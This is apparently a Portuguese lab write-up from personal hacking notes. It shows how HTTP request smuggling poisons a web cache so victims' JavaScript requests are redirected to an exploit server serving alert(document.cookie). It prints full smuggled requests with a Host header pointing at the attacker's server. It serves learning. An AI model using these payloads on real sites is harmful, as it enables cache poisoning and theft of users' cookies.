> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# Envenenamento de Cache Web via HTTP Request Smuggling

### Explorando o HTTP Request Smuggling para realizar envenenamento de cache web

O front-end e o back-end tratam as requisições HTTP de forma diferente. / O front-end **não oferece suporte à codificação chunked** e algumas respostas são **armazenadas em cache**.

O objetivo é realizar um ataque de **contrabando de requisições** permitindo envenenar o cache\*\*: em uma consulta subsequente a um arquivo JavaScript, a vítima deve ser redirecionada para o servidor de exploração, que retornará um script exibindo `document.cookie`.

O laboratório simula automaticamente um usuário vítima: em todas as poucas requisições POST que enviamos, a vítima faz sua própria requisição.

#### Carga útil no servidor

Preparamos a resposta JavaScript maliciosa:

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="/files/f34dce4d36a5c2d6fa49d41551adad763170b1b4" alt=""><figcaption></figcaption></figure>

#### Informações sobre o arquivo tracking.js

O recurso é observado como oculto por 30 segundos\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="/files/0ed69ea93ac6c0daa09a8f8d8b88d1915780aa04" alt=""><figcaption></figcaption></figure>

#### Análise do comportamento do botão post-next

* O `postId` permanece o mesmo.
* Ao clicar, a aplicação faz um redirecionamento para o próximo post.

Exemplo de uma requisição que dispara esse redirecionamento:

<figure><img src="/files/f11c162118703fdfd9a82239679d0ea3850ca99c" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Teste: A
```

<figure><img src="/files/d85347f021a9a5acfee0d625addd40f156c9957f" alt=""><figcaption></figcaption></figure>

#### Teste: Injetando um cabeçalho Host arbitrário

Ao substituir o host da requisição interna:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="/files/58aa80f20288891c904a5119add144ca50493ec7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/feac78bb4ab12ff178536fb5fe1e6d8ff762f9c8" alt=""><figcaption></figcaption></figure>

#### Carga útil final para redirecionar para o nosso servidor de exploração

Uma requisição GET interna contendo nosso **Host** é injetada:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

Assim que a vítima carregar o recurso JavaScript em cache, o cache retornará **por 30 segundos** nossa resposta modificada, disparando:

```javascript
alert(document.cookie)
```

<figure><img src="/files/5134e18d075036e20de0b35d467710ca6439d2cf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/462210bb6d4667ea2d2683e7174e855bc2dfb0c6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
